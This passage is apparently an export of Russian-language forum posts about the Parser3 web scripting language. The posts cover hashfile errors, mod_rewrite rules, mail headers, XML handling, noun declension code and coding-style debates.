$hf.sort_order[asc]\
\
$hf1[^hashfile::open[/../data/egr]]\
[/code]\
В 3.1.3 не падает, в 3.1.4бета:\
\
open\
\
apr_sdbm_open(shared) error: Unknown error (-1)\
\
Копаем далее:\
[code]\
$hf[^hashfile::open[/../data/egr]]\
$hf.sort_order[asc]\
$hf1[$hf]\
$value[$hf1.sort_order]\
[/code]\
В этом случае тормоза нехилые\
PPS: Тормозов нет - я наврал, просто забыл убрать повторное открытие."
"34219","Хотел посмотреть, что такое парсер, посмотрел на исходники и в доку, оказалось он работает только со старым Apache (1.х). \
\
Вопрос (может правда уже было): будет ли реализовываться поддержка текущего стабильного Apache (2.x) или парсер по каким то специфичным соображениям прикручивается только к старому Apache?"
"34223","можно ли сделать так, чтобы Parser при отправке письма ставил приоритет?\
\
и как добавить поле дата, а то он постоянно подписывает:\
«Чет, 1 Январь, 1970 3:00»"
"34224","Какие? отпаравить себе самому тестовое письмо с нужным приоритетом(ами) и нужной датой, и посмотреть заголовки этого тестового письма."
"34225","У меня есть хостинг на Apache, FreeBSD, но без Parser. Как лучше добавить Parser на мой хостинг? Я подозреваю, это не первый подобный вопрос, но чего-то я ничего конкретного не нашел на форуме\
Заранее спасибо"
"34226","есть сайт скажем ввв.новости.ру\
на фтп выглядит примерно так (не ругайте, не я делал)\
/aaa_main\
/aaa_economics\
/aaa_politics\
/aaa_others\
/bbb_main\
/bbb_economics\
/bbb_politics\
/bbb_others\
/zzz_main\
/zzz_economics\
/zzz_politics\
/zzz_others\
в них лежит файл default.php , картинки к новостям и тд\
\
так вот, нужно сделать еще три сайта типа aaa.ru , bbb.ru и zzz.ru\
сейчас сделано через нуль фрейм\
набираем zzz.ru во второй фрейм грузиться ввв.новости.ру/zzz_main/default.php\
вот фрейм это не правильно, нада избавиться от него!\
казалось бы, можно было бы в эту направить документ_рут но нет, на сайте же есть ссылки и на /zzz_others/default.php\
а в самом корне лежит сайт ввв.новости.ру, который берет новости со лент всех регионов\
чот я запарился совсем, может кто сталкивался с такой проблемой? подскажите"
"34229","Как заставить парсер обрабатывать и css файлы? Тогда в них тоже можно будет использовать переменные."
"34230","А не проще в *.p описать нужные стили и вот в них уже использовать необх. переменные? по-моему (если не ошибаюсь!), так можно и очень даже неплохо получится!!!"
"34231","отдельные css-файлы - зло, поскольку броузеры очень часто их теряют."
"34233","[code]AddHandler parsed-css css\
Action parsed-css /cgi-bin/parser3.cgi[/code]\
\
Только учитывайте, что при этом, естественно, будут обрабатываться и все ваши auto.p."
"34234","набор статичных css - это хорошо и быстро. мы используем это и счастливы, современные броузеры хорошо с ними работают, и \"не теряют\", как это некоторые говорят.\
\
[b]очень[/b] редко требуется сделать что-нить разное для разных броузеров, в этом случае можно выдать отличающиеся вещи парсером прямо в html."
"34235","правило пишется из одной строки: взять домен, вырезать из него середину и пойти на новый домен, по сформированному пути (к набраному пути добавляется префикс взятый из домена). всё.\
все реальные пути как работали так и будут работать."
"34236","База данных MS Access, зацепляюсь к ней через ODBC.\
В ней есть поле типа Дата/Время. В этом поле хранится длительность фильма в формате ЧЧ:ММ. \
При попытки вывести это поле через парсер я получаю либо 1899-12-30 01:15:00.000 где длительность фильма 1 ч 15 минут либо при попытке обработать это поле классом date получаю ошибку year '1899' is out of valid range. Суть ее я понимаю. У парсера ограничение на минимальный год 1970. \
Что поделать мне в этой ситуации? Пытался найти обоработку силами SQL данного поля, но  ничего не нашел. Может кто поможет?"
"34237","Остановился на таком способе:\
$myvar[myop]\
$do[$$myvar]\
После чего ^do[] - аналогично ^myop[]\
\
Однако ничего подобного в документации нет.\
Хотелось бы знать: не будет ли этот способ в будущих версиях исключен?"
"34238","Не совсем точно выразился. css теряются как и любые другие элементы - картинки и т.д. - при превышении timeout. Только если потеря картинки - не всегда страшно, то потеря css может, в зависимости от верстки, сильно исказить сайт.\
Извиняюсь за оффтоп."
"34239","т.к. вас интересует только время, но не дата, вы можете перед скармливанием в ^dtf:format[] сделать match и убрать YYYY-MM-DD\
\
естественно оформить это лучше в виде оператора.\
\
ещё можете попробовать отформатировать это поле средствами SQL ( вот только как это сделать я вам не посоветую, т.к. с access через odbc парсером ни разу не работал, но я думаю дока спасет )"
"34241","1. такая недогрузка файлов (в общем-то это может быть любой файл, включая html) - явление указывающее что с сервером/каналом что-то не то. при таких условиях в любом случае будут проблемы с отображением.\
\
2. css-ов не так много на одном сайте (в отличие от картинок, которых много и они все разные). и есть такая замечательная штука - кеширование броузерами файлов (в том числе css-ов). если вы их не создаете парсером, и у вас нормально настроен сервер (отдаются правильный заголовки last-modify & Co) то броузер будет грузить их [b]очень[/b] редко, что к тому-же может сэкономить трафик (недавно оптимизировали один наш старый сайт, где стили были в html. после вынесения их в css трафик сократился на 20-25%. это очень много, особенно если серверный канал не очень толстый, что верно в случае всех недорогих хостингов)\
\
3. тех, кто будет иметь редкие проблемы с отображением из-за плохого соединения - не так много. к тому-же это лишь проблемы в отображением данных. зато те у кого со связью достаточно хорошо будут вам благодарны за это.\
\
диагноз: плюсов значительно больше (IMHO)"
"34242","Мой вывод: если стиль мал (скажем, менее 5кб) - лучше хранить в теле, если велик - отдельно."
"34243","У меня есть несколько табличек в счетчике посещений, в которых инфа должна храниться не очень долгое время (час, сутки)..\
Т.е. надо оттуда старые данные периодически удалять. \
Как бы вы поступили? \
Можно вставить строчку delete from ... в место где идёт работа с этой таблицей (когда обновляются данные), можно по крону запускать, можно где-нибудь сохранять дату последней чистки и вызывать delete from... уже после проверки.."
"34244","[code]\
@include[file]\
^if(-f $file){\
	$css[^file::load[text;$file]]\
	$result[^process[$caller.self]{^taint[as-is][$css.text]}]\
}{\
	$result[]\
}\
[/code]"
"34245","[code]\
^if(^math:random(100) < 10){\
  ...удаляем...\
}\
[/code]"
"34246","RewriteCond  %{SERVER_NAME}  mysite.net$\
RewriteCond  %{REQUEST_URI}  ^/news.php\
RewriteRule  ^/news.php(.*)$   /inc/news.php$1 [L]\
\
почемуто не работает, подскажите ошибку\
спасибо"
"34247","нужно для того чтобы определенныи песетителям выдавать другие значения на страницах сайта."
"34248","- второй RewriteCond лишний\
- ^/news.php(.*)$ -> ^news.php$\
- не работает == ???"
"34250","а сгенерировать какую либо уникальную информацию, которая будет постоянна для конкретного пользователя"
"34251","."
"34252","RewriteCond  %{SERVER_NAME}  mysite.net$\
RewriteCond  %{REQUEST_URI}  ^/news.php.*$\
RewriteRule  ^(.*)$ /inc/$1 [L]"
"34253","[quot]Компиляция обработчиков. При обработке блока, к которому привязан обработчик происходит компиляция текста обработчика и при обработке последующих блоков, к которым привязан этот обработчик используется уже скомпилированный код и не происходит повторный process текста обработчика. Это существенно ускоряет обработку.\
\
[url=\"http://misha.design.ru/hobby/progr/engine.html\"]Engine v.3[/url]\
[/qout]\
_____________________________________________________________\
\
если я правельно понял, это вот так будет:\
[code]\
^if($already_proc is junction){\
		$result[^already_proc[]]\
}{\
		^process[$MAIN:CLASS]{@already_proc[]\
				...содержания файла с обработчиком\
		}[$.file[имя файла с обработчиклм]]\
}\
[/code]\
\
поправьте меня, если я не прав.\
\
заранее спасибо."
"34256","Когда в разделе http://www.parser.ru/download/ появится unsafe версия парсера под Unix?? Второй год перейти на третью версию не можем.\
\
Только ни слова про самостоятельную сборку!"
"34257","однако не один и не два человека нашли ссылки на эти версии в форуме, скачали их и наслаждаются."
"34258","так работает:\
[code]^process{$pbody}[/code]\
\
так нет:\
[code]\
^ifdef[$caller.self]{\
		^process[$caller.self]{$pbody}\
}{\
		^process{$pbody}\
}\
[/code]\
\
причем $caller.self - def\
\
в чем проблема? \
\
спасибо."
"34259","В смысле системного оператора с таким именем нет."
"34260","[code]\
@ifdef[val;deflt;undef][v]\
$v[$val]\
$result[^if(def $v){$deflt}{$undef}]\
[/code]"
"34261","Это одно из самых худших явлений что может быть, - такое читать может только создатель.\
\
А вообще я не понимаю в чем прикол с ifdef и чем это хуже чем стандартная проверка?:\
[code]\
^if(def $caller.self){\
		^process[$caller.self]{$pbody}\
}{\
		^process{$pbody}\
}\
[/code]"
"34264","именно из-за всех этих выкрутасов с собственными операторами нифига не работает - при вызове ifdef меняется контекст вызова и выполняется условие когда не def"
"34265","Ничего это не зло. Это совершенно нормально."
"34266","[code]\
@doProc[id][pname;pf;pbody]\
# если еще не процессили\
^if(!$proc_cont.[$id].proc_body_loaded){\
		$pname[proc_${id}_main]\
\
		^try{\
				$pf[^file::load[text;$SITE_ROOT_DIR/$proc_cont.[$id].filename]]\
				$pbody[^taint[as-is][$pf.text]]\
				^if(^pbody.pos[@main^[^]] >= 0){\
						^rem{*** если есть метод main - меняем на свой ***}\
						$pbody[^pbody.match[\\@main\\^[\\^]][g]{@${pname}^[^]}]\
				}{\
						^rem{*** еcли нет - приделаываем свой в начало ***}\
						^if(def $pbody){\
								$pbody[@${pname}^[^] ^#0A$pbody]\
						}\
				}\
		}{\
				^rem{*** х.з. ***}\
				$exception.handled(1)\
\
				$pbody[]\
				^memory:compact[]\
		}\
\
		^rem{*** процессим ***}\
		^if(def $caller.self){\
				^process[$caller.self]{$pbody}[$.file[$SITE_ROOT_DIR/$proc_cont.[$id].filename]]\
		}{\
				^process{$pbody}[$.file[$SITE_ROOT_DIR/$proc_cont.[$id].filename]]\
		}\
\
		^rem{*** запоминаем ссылку на junction и то, что уже процессили файл ***}\
		^proc_cont.[$id].add[\
				$.proc_body_loaded(1)\
				$.main[$$pname]\
		]\
}\
\
^if($proc_cont.[$id].main is \"junction\"){\
		$result[^trim[^proc_cont.[$id].main[]]]\
}{\
		$result[]\
}\
[/code]\
\
ничего не возвращает - $result[], т.е. $proc_cont.[$id].main не junction, почему?"
"34267","поиск по слову unsafe дает 4 ссылки, две из них на эти 2 сообщения, третья - \"поставить unsafe версию, воспользуйтесь поиском по форуму, Александр Петросян (PAF)\", четвертая - про PHP."
"34269","Прочитал на [url=\"http://nbsp.ru/\"]nbsp.ru[/url] статью [url=\"http://nbsp.ru/articles/2002/10/03/dostoinaya_zamena_modrewrite_dlya_raboty_s_ponyatnymi_adresami.html\"]Достойная замена ModRewrite для работы с понятными адресами[/url], идея понравилась.\
\
Суть идеи: ставим обработчиком 404-ой ошибки (ErrorDocument 404 /index.html) наш скрипт, а уже скриптом смотрим — есть запрошенная страница в базе или нету. Если нету, выводим «внутреннюю, виртуальную 404 ошибку»…\
\
Но остался вопрос на счет запросов: если с get-ом все вроде бы понятно — проходимся матчем по $request:uri, — то с post-данными возникает вопрос: они теряются безвозвратно? Если нет, то как их можно выдернуть?\
\
Что по поводу «ручного ModRewrite» думают гуру? ;)"
"34270","Как написать следющий макрос в Excel:\
\
зная столбец (например B) сделать цикл по его строкам (строк свыше 250)? Какой синтаксис команд? Я студент всю жизнь на Delphi, VFP программирую, а тут понадобилось. Заранее большое спасибо."
"34272","как передать данные методом пост через ссылку???"
"34273","По условиям задачи на странице есть некая форма с кучей строк для заполнения типа \
<input type=\"text\" name=\"i3\"><br>\
<input type=\"text\" name=\"i4\"><br>\
<input type=\"text\" name=\"i5\"><br>\
при отправке формы, данные из нее добавляются в файл XML\
\
поскольку строк для заполнения много, то повторять для каждой строчки один и тот же код с 2 отличиями мне не хочется (хотя это замечательно работает)\
\
$text[^document.createTextNode[$form:i4]]\
$node[^document.createElement[Name]]\
$addtext[^node.appendChild[$text]]\
$addname[^mainnode.appendChild[$node]]]\
\
$text[^document.createTextNode[$form:i2]]\
$node[^document.createElement[LastName]]\
$addtext[^node.appendChild[$text]]\
$addname[^mainnode.appendChild[$node]]]\
\
(это кусок работающего кода, данные успешно сохраняются все работает, но текст здоровый и мне не нравится)\
\
для решения проблемы я создал хеш-массив с именами элементов\
\
$recs[\
   $.1[id]\
   $.2[name]\
   $.3[lastname]\
   ...\
]\
\
и добавил следующий цикл\
\
^for[m] (1;13) {\
	$text[^document.createTextNode[$form:i$m]]\
	$node[^document.createElement[$recs.$m]]\
	$addtext[^node.appendChild[$text]]\
	$addname[^mainnode.appendChild[$node]]\
}\
\
во второй строчке я подозреваю ошибка - [$form:i$m] (1 вопрос) подскажите как правильно будет записать\
\
но не в этом дело запуск кода вызвал обвал апача с ошибкой dublicate large block dealocation и несколько раз как варианты вылетал без сообщения\
\
(2 вопрос) - возможен ли такой вариант записи, как я пробую.\
Если да, то в чем ошибка. Если нет, как по-другому компактно такое записать."
"34274","На таком способе основаны многие движки на php с ЧПУ."
"34275","только отправкой данных из формы."
"34276","Забыл сказать\
Писать это все в цикле мне понадобится наверняка, поскольку на странице предусмотрены дополнительные поля число которых можно менять и писать ^if (def $form:add1) ... ^if (def $form:addn) неопределенное число раз мне как-то не хочется...."
"34277","уже написал по другому...\
в этом месте все работает"
"34278","Черт, а вот это не работает\
\
test.html\
-------------------------------\
$d[^xdoc::load[games.xml]]\
$droot[^d.selectSingle[//games]]\
$list[^d.select[//games/game]]\
^for[i](0;$list-1){\
    $node[$list.$i]\
^if(^node.selectString[string(id)] == 2){\
$id[$list.$i]}\
}\
$delid[^droot.removeChild[$id]]\
^d.save[games1.xml\
--------------------------------\
games.xml\
--------------------------------\
<?xml version=\"1.0\" encoding=\"WINDOWS-1251\"?>\
<games>\
<lastid>4</lastid>\
<game><id>1</id><name>aaa</name></game>\
<game><id>2</id><name>bbb</name></game>\
<game><id>3</id><name>ccc</name></game>\
<game><id>4</id><name>ddd</name></game>\
</games>\
--------------------------------------------\
скрипт выполняется\
файл games1.xml создается с нужным содержанием\
но вешается апач выдает приложение выполнило недопустимую операцию\
AppName: apache.exe	 AppVer: 0.0.0.0	 ModName: libxml2.dll\
ModVer: 0.0.0.0	 Offset: 000415ad\
как вариант ругань на gc.dll"
"34279","Прошу прощения за \"темность\", но\
\
как нужно изменить шаблон ниже:\
\
$new[^new.match[\\[(quote?)\\](.+?)\\[/\\1\\]][gi]{<blockquote>$match.2</blockquote>}]\
\
ЧТОБЫ ЗАМЕНЯТЬ И ВЛОЖЕННЫЕ ТЕГИ, например:\
[quote][quote][quote]Вопрос[/quote]Ответ1[/quote]Ответ2[/quote]\
\
(Приведенный выше фрагмент не работает как нужно)"
"34281","Возможен вариант с while, что-то вроде:\
$m(1)\
^while($m eq \"1\"){\
^if(^new.match[\\[(quote?)\\](.+?)\\[/\\1\\]][gi]){$new[^new.match[\\[(quote?)\\](.+?)\\[/\\1\\]][gi]{<blockquote>$match.2</blockquote>}]}{$m(0)}\
}\
А можно ли обойтись только match, без всяких внешних циклов?"
"34282","и работает при любом кол-ве вложенностей:\
\
[code]\
$text[ваш текст р \"квотингами\"]\
\
$repl[^table::create[nameless]{^[quote^] <blockquote>\
^[/quote^] </blockquote>\
}]\
\
^text.replace[$rep]\
[/code]"
"34283","вот это - ^if(def $caller.self) полный бред"
"34284","мне надо подсчитать сколько осталось секунд от настоящего времени, до какой-то даты из бд....\
подскажите пожалуйста как это лучше сделать и в каком формате хранить данные в бд???"
"34285","А почему бы не сделать просто ^form:fields.foreach[k;v]{ ... }, выкидывая по ходу всякие служебные поля и проверяя, чтобы имя ноды начиналось не с цифры (по моему, спецификация не позволяет-с)? Только position() будет произвольный. А если уж хранить имена полей - то лучше уж в таблице, а не в хеше, тогда можно и порядком рулить? и при нужде не код менять, а табличку в cfg.\
С $form:i$m - имхо, все нормально."
"34286","САБЖ Ж-)"
"34288","Вот какое дело:\
У себя на локальном хостинге (Windows, пакет DENVER) у меня работает сайтик, который выбирает из базы MySQL данные следующим образом:\
SELECT * FROM table WHERE word LIKE 'В%' - т.е. выбирает только то, что начинается с буквы В.\
Качаю все это дело в интернет на свой хостинг и программа выбирает все значения, которые начинаются с букв, стоящих в алфавите рядом с В. Т.е. Б, А, Г, Д. Не вкурсе, в чем может быть проблема?\
На хостинге Linux, Апач 1.3.31 (Unix), MySQL 4.0.22-standard, и парсер линуксовый."
"34289","кажись надо так\
\
[code]\
$form:[i$m]\
[/code]"
"34291","Просто юмор еще и в том, что когда я делаю \
SELECT word FROM dictionary WHERE LEFT(word,1)='В'\
получается то же самое. А что можно в данном случае с кодировкой сделать?"
"34293","Вот зашел в раздел \"Примеры\" и увидал там вариант реализации сабжа.\
Вариант, которым пользуюсь я, не так изящен, но, ИМХО, жить достоен.\
\
[code]\
@decline[number;nominative;genitive;genitiveplural]\
\
^if(^number.right(1) == 1 && ^number.right(2) != 11 ){\
	$noun[$nominative]\
}{\
	^if((^number.right(1) >= 2 && ^number.right(1) <= 4) && (^number.right(2) < 12 || ^number.right(2) > 14 )){\
\
	$noun[$genitive]\
	}{\
	$noun[$genitiveplural]\
	}\
\
}\
\
		\
		\
	$result[$number $noun]\
[/code]"
"34294","в вашем коде в некоторых случаях могут выполняться достаточно много строковых операций (.right(x)) что практически всегда медленнее чем арифметические операции (в примерах).\
\
в случае, если метод вызывается не раз/два на страницу это уже начинает играть роль :)"
"34295","Что не правильно в синтаксисе? Всё время ложь показывает.\
[code]^if(def $url && $url_nohtm ne $request:uri || $url ne $request:uri)\
{..[/code]\
Не работает. Надо, чтоб [b]$url[/b] был, и или [b]$url_nohtm ne $request:uri[/b] или [b]$url ne $request:uri[/b]\
Пробовал ставить скобки - непомогло."
"34296","Поискал по форуму  слова \"КУРЛ\", \"сurl\" и ничего не нашел.  Как-то раньше спрашивал как передавать параметры странице. С этим понятно. ВОПРОС - каким макаром организовать красивые ссылки безо всяких ?  и проч. Так сказать легкая прихоть.  Понимаю что это возможно но доказать не могу. И не бейте."
"34299","Ещё в школе на информатике в нас вдалбливали: \"Если не можете писать сложно, пишите проще\".\
Вашш if можно разбить:\
[code]\
^if(def $url){\
     ^if($url_nohtm ne $request:uri){\
          истина\
     }{\
          ^if($url ne $request:uri){\
               истина\
          }{\
               ложь\
          }\
     }\
}{\
     ложь\
}\
[/code]\
\
P/S Не ленитесь расписывать сложные конструкции, это не всегда лишние строки кода - иногда это равно пониманию."
"34300","[code]\
@decline[number;nominative;genitive;genitiveplural]\
^cache[/cache/decline/^math:md5[${number}${nominative}]](86400){\
^if(^number.right(1) == 1 && ^number.right(2) != 11 ){\
	$noun[$nominative]\
}{\
	^if((^number.right(1) >= 2 && ^number.right(1) <= 4) && (^number.right(2) < 12 || ^number.right(2) > 14 )){\
\
	$noun[$genitive]\
	}{\
	$noun[$genitiveplural]\
	}\
\
}\
\
}		\
		\
	$result[$number $noun]\
[/code]"
"34301","И есть вопрос, например в MySQL сложные конструкции в запросе, иногда ресурсоёмки чем набор простых.\
Как дело обстоит в парсере?"
"34302","Как раз таки так не стоит делать - такой код нечитаем. Есть даже такое правило рефакторинга, - упрощение условных выражений, где все вложенные конструкции заменяются одной но со сложным условием.\
\
И далее это сложное условие также подвергается декомпозиции путем выделения методов.\
\
Читаем Фаулера а также \"Программисткий камень\", - где это рассмотрено.\
\
И не советуй новичкам всякую чушь."
"34303","фигурная скобка перенесена на новую строку, что для парсера недопустимо.\
\
логическое выражение синтаксически написано корректно, однако логически - нет.\
\
\"не работает\" == ???\
\"Пробовал ставить скобки\" == как именно ставили скобки?"
"34304","разве так не работает?\
[code]\
^if(\
def $url && ($url_nohtm ne $request:uri || $url ne $request:uri)\
)\
[/code]"
"34305","йэх молодежь - последняя цифра определяется делением по модулю 10, две последние - делением по модулю на 100, вот как я это делал в XSLT:\
[code]\
	<!-- Надпись о сущностях прокручиваемых скроллером -->\
	<xsl:template name=\"items_phrase\">\
		<xsl:variable name=\"last_digit\">\
			<xsl:value-of select=\"$set_size mod 10\"/>\
		</xsl:variable>\
		<xsl:variable name=\"last_two_digits\">\
			<xsl:value-of select=\"$set_size mod 100\"/>\
		</xsl:variable>\
		<xsl:choose>\
			<xsl:when test=\"$last_digit = 1 and $last_two_digits != 11\">\
				<xsl:value-of select=\"$nominative\"/>\
			</xsl:when>\
			<xsl:when\
				test=\"\
					$last_digit = 2 and $last_two_digits != 12\
					or\
					$last_digit = 3 and $last_two_digits != 13\
					or\
					$last_digit = 4 and $last_two_digits != 14\
					\"\
			>\
				<xsl:value-of select=\"$genitive_singular\"/>\
			</xsl:when>\
			<xsl:otherwise>\
				<xsl:value-of select=\"$genitive_plural\"/>\
			</xsl:otherwise>\
		</xsl:choose>\
	</xsl:template>\
[/code]\
Думаю идея понятна"
"34306","[code]\
@vremya[]\
$now[^date::now[]]\
$udate[^date::unix-timestamp($now)]\
$udate\
[/code]\
выдаёт:\
method_frame may not be overwritten with date, store it to variable instead\
\
подскажите пожалуйста в чём ошибка..."
"34307","Уважаемые специалисты!\
Какой язык мощнее Parser3 или PHP4? В чем преимущества одного перед другим и наоборот?"
"34310","что-то есть тут:\
http://www.parser.ru/faq/general/\
\
что-то можете найти поиском по форуму.\
\
"
"34311","но мне не нравится switch внутри if - тут нужно упростить"
"34313","То есть то же самое? А по быстродействию?"
"34314","храни в UNIXTIME и тогда получить секунды нет проблем"
"34315","[code]# Метод умеет не ставить ссылки на текущую страницу.\
# если задан $url - то делает ссылку с параметрами $params\
# если $url не задан или равен текущему адресу, ссылка не ставится\
# $tags ставит вокруг неактивной ссылки разметку b, i, u или css стиль.\
\
@cms_href[url;label;params;tag][lbl;url_nohtm]\
\
$lbl[^if(def $label){$label}{$url}]\
\
# ищем в линке слово htm но без \"?\", дабы не попутать параметры form, и если есть такой линк, выесняем его расположение\
	^if(def ^url.match[(index.htm)] && !def ^url.match[(\\?)]){\
		$url_nohtm[^file:dirname[$url]/]\
	}\
\
# линк ставится если: определён адрес, $url_nohtm или $url не равно текущиему $request:uri.\
^if(def $url && ($url_nohtm ne $request:uri || $url ne $request:uri)){\
	$result[<a href=$url^if(def $params){ $params}>$lbl</a>\
$url_nohtm ne $request:uri || $url ne $request:uri\
]\
}{\
	^if(def $tag){$result[<$tag>$lbl</$tag>]}{$result[$lbl]}\
}\
\
#end @href[]\
[/code]\
\
Вот как он сравнивает. Совпадения есть, а линк ставит.\
[code]Управление блоками /admin/blocks/ ne /admin/blocks/index.html || [b]/admin/blocks/index.html ne /admin/blocks/index.html[/b] \
Добавить новый блок ne /admin/blocks/index.html || /admin/blocks/index.html?manager=createblock ne /admin/blocks/index.html [/code]"
"34317","я сам до туда уже дошёл, но всё равно пасиба!"
"34318","method_frame may not be overwritten with table/date/hash, store it to variable instead \
\
написано:\
\
[code]\
$now[^date.now[]]\
^now.sql-string[]\
[/code]\
\
должно быть:\
\
[code]\
now[^date::now[]]\
^now.sql-string[]\
[/code]\
\
P.S:\
для общей красоты поставьте перед '...' строчкой\
method_frame may not be overwritten with table/date/hash, store it to variable instead"
"34319","забыл поставить рубь перед now"
"34320","у меня стоит Денвер...\
я ставлю куки на хосте...\
но на субдомене эти куки не читаются!\
можно сделать так чтоб они читались???"
"34321","Почитать про куки"
"34322","Подскажите, плз, ключ для ^mail:send, чтобы подписывал дату создания письма.\
\
[code]$.X-Date[^date_now.sql-string[]][/code]\
ключ прикрепляет, но дата не изменяется (Чет, 1 Январь 1970 3:00)\
\
а [code]$.Date[^date_now.sql-string[]][/code]\
не прикрепляет ключ:("
"34323","[code]\
@decline[number;nominative;genitive;genitiveplural]\
$last_digit($number%10)\
$two_last_digits($number%100)\
\
^if($last_digit == 1 && $two_last_digits != 11 ){\
	$noun[$nominative]\
}{\
	^if(($last_digit >= 2 && $last_digit <= 4) && ($two_last_digits < 12 || $two_last_digits > 14 )){\
\
	$noun[$genitive]\
	}{\
	$noun[$genitiveplural]\
	}\
\
}\
\
$result[$noun]\
[/code]"
"34325","повторно открывать один и тот же файл на запись нельзя и точка.\
какое сообщение об ошибке нам выдаёт библиотека, такое я и выдаю.\
\
единственное решение: следует изменить код, чтобы так не было. если хотите, обсудим конкретный случай и варианты улучшения."
"34326","я его не собираюсь открывать на запись, - я его просто открываю, - сначала тормоза, а потом падение. Тогда учтите этот момент в доке, т.к. на это еще наступят не раз."
"34327","конструкции [code]$class:[parser code][/code] нужны для случаев, если имя сложнее чем const+var."
"34328","эта ошибка, будет исправлена быстрее, если будет стабильно воспроизведена."
"34331","Понимаешь, в программировании важен стиль, - а ты учишь плохому стилю, т.к. сам не программист. А от этого потом рождаются тонны нечитаемого кода."
"34333","как раз таки не бред, а вот то что ты написал - дай бог единицам понять.\
\
На то он и процесс обучения, чтобы идти от простого к сложному. То что ты предлагаешь верно только сегодня, не факт что завтра эта будет истина.\
\
Я же посоветовал упростить задачу, чтобы понять где не работает. Я сам всегда так делаю. Когда понимаю, переписываю сложно. \
\
И вообще это правило хорошего тона (в рамках форума), прежде чем задать вопрос, разбить задачу на максимально простые операции. Если ответ не станет очевиден... написать. Я об этом хотел сказать, может неверно выразился."
"34337","Конец должен быть в конце, результат работы метода в его конце, а не поперек кода."
"34338","а по-моему всё там достаточно красяво получается:\
[code]\
@decline[number;nominative;genitive;genitiveplural][last_digit;two_last_digits]\
$last_digit($number%10)\
$two_last_digits($number%100)\
\
^if($last_digit == 1 && $two_last_digits != 11 ){\
	$result[$nominative]\
}{\
	^if(($last_digit >= 2 && $last_digit <= 4) && ($two_last_digits < 12 || $two_last_digits > 14 )){\
\
	$result[$genitive]\
	}{\
	$result[$genitiveplural]\
	}\
\
}\
\
# $result[$result]  ;)\
[/code]"
"34339","Особенно, если в файле с кроме ^decline[] еще десяток методов"
"34340","Плохо вводить кучу ненужных переменных.\
Ваше $result[$noun] ничуть не улучшеат читабельность и не имеет никакого смысла, а лишь запутывает. Все равно, при разборе кода, придется искать где и при каких условиях $noun получает свое значение."
"34342","будет ждать закрытия, после timeout выйдет.\
добавлю доку добавлю.\
\
(в предыдущем сообщении неправильно написал про вторую [b]запись[/b], вы правы, дело в open after exclusive-open)."
"34343","\"... есть о[b]т[/b]говорка ...\""
"34344","чтобы работала никому не нужная конструкция, или чтобы было понятно, почему она не работает?\
\
почему не работает, я рассказал.\
чтобы заработала кто хочет может сделать, прислать мне patch."
"34345","паф - это не наезд. Я не знаю как быть, - но с точки зрения пользователя парсера, падать не должно т.к. ничего крамольного не делается, т.е. нет попытки одновременно окрыть файл. А что до того, как ведет себя нижележащий уровень, - это вообще не должно заботить пользователя, на то парсер и инкапсулирует такие низкоуровневые вещи.  Однако, реальность оказывается жестче - и приходится учитывать и это. \
\
Короче говоря - классический пример [url=\"http://russian.joelonsoftware.com/Articles/LeakyAbstractions.html\"]закона дырявых нетривиальных абстракций[/url]. Вот. А в доке надо прямо красным написать про это - что мол нельзя 2 раза открывать один и тот же hasfile."
"34346","это сообщение об ваших ошибочных действиях.\
почему оно не выглядит красивым — дело не первой важности в моём списке.\
\
в документацию добавим."
"34347","или мы с вами о разном коде говорим.\
если есть желание продолжить обсуждение, приведите проблемный код."
"34348","я внимательно читал совет egr и делал так.\
\
в заголовке письма приходит:\
Date: Tue, 8 Jun 2004 18:39:26 +0400 (MSD)\
subject: Answer message on www.parser.ru forum\
content-type: text/plain; charset=WINDOWS-1251\
from: PAF <PAF@design.ru>\
to: denis_arkhipov@pochta.ru\
errors-to: postmaster@rol4.design.ru\
\
и спецификацию [url=\"http://www.ietf.org/rfc/rfc822.txt\"]RFC-822[/url] я читал.\
в ней написано:\
date-time   =  [ day \",\" ] date time        ; dd mm yy\
\
и если я вставляю $.date, то этого заголовка в письме нет (пробовал руками вставлять $.date[Tue, 2 Nov 2004 14:39:26])\
если вставляю $.x-date, то этот заголовок приходит, но он не воспринимается (этот заголовок я подглядел от billing@orenburg.mts.ru).\
\
как вы вставили [b]Date: Tue, 8 Jun 2004 18:39:26 +0400 (MSD)[/b] в письмо?"
"34349","видимо, вопрос скорее по МакОси, чем по Парсеру, но все же - как должны быть правильно расставлены овнеры/пермишены?"
"34350","Почтовый сервер может убить заголовок пользователя (дату) и вставить свой."
"34351","только не пишете об этом. а кругом не телепаты.\
\
если ваш админ грамотный, спросите его, почему так происходит?"
"34352","Дал права пользователю www (от которого запускается встроенный Апач) на писание в папку с html-ами. \
\
Прав ли?"
"34353","Лови... :))\
\
<textarea onkeydown=\" \
if(event.keyCode==9){ \
with(document.selection.createRange()){ \
text='\\t'; \
select(); \
} \
event.returnValue=false \
}\"></textarea>"
"34354","Попытался найти в форуме, не нашел, в результате родил вот это:)\
[code]\
$d1[^date::now[]]\
^for[i](0;200){\
$rr[^file::load[text;http://$env:SERVER_NAME]] \
^if(^math:random(10) == 5){^memory:compact[]}\
}\
$d2[^date::now[]]\
Заграчено\
^eval((^d2.unix-timestamp[] - ^d1.unix-timestamp[]) / 200)[%.3f]\
секунд на 1 страницу\
[/code]\
Что с локального компьютера, что с соседнего (100Mbit сетка) - результаты одинаковые, хотя если уменьшать цикл - результат растет. Потянет такой вариант?"
"34355","И сразу же встает вопрос об ограничении ресурсов. Пока не придумал ничего лучше этого:\
[code]\
В самом начале: $now[^date::now[]]\
Затем внутри какого-нибудь часто вызываемого метода:\
$checkdate[^date::now[]] \
^if(^eval(^checkdate.unix-timestamp[] - ^now.unix-timestamp[])  > 2){^throw[parser.interrupted;Сообщение о причине]}\
[/code]\
Не устраивает:\
- необходимость вызывать @unhandled_exception (поскольку иначе продолжает выполняться)\
- некоторая случайность проверки"
"34356","что есть bug.zip?\
и куда посылать?"
"34357","а как правильно задать $.domain для нескольких значений???"
"34358","до сих пор не в курсе, что было неправильно,\
вероятно не так выбирал нужную ноду или еще что-нть\
короче сделал выборку путем не перебора в цикле,\
а с помощью простого x-path запроса типа\
$node[^d.selectSingle[/games/game[id='1']]]\
\
все работает :)"
"34360","При обучении музыке учить не нотной грамоте, а какие кнопки (буквально) нажимать для того чтобы сыграть конкретное произведение. Так рождаются Сальери :)"
"34361","мне."
"34362","о такой необходимости для одноимённых cookie не подумалось.\
\
неудобно можно через $response:set-cookie[xxx]"
"34363","у апача была утилитка [b]ab[/b](ПАФ мне про нее сказал) довольно не плохо сервер нагружает\
а под винду или Egr или Sanja что-то находили\
все можно найти в этом форуме"
"34364","все уже поняли, что каждый по своему прав."
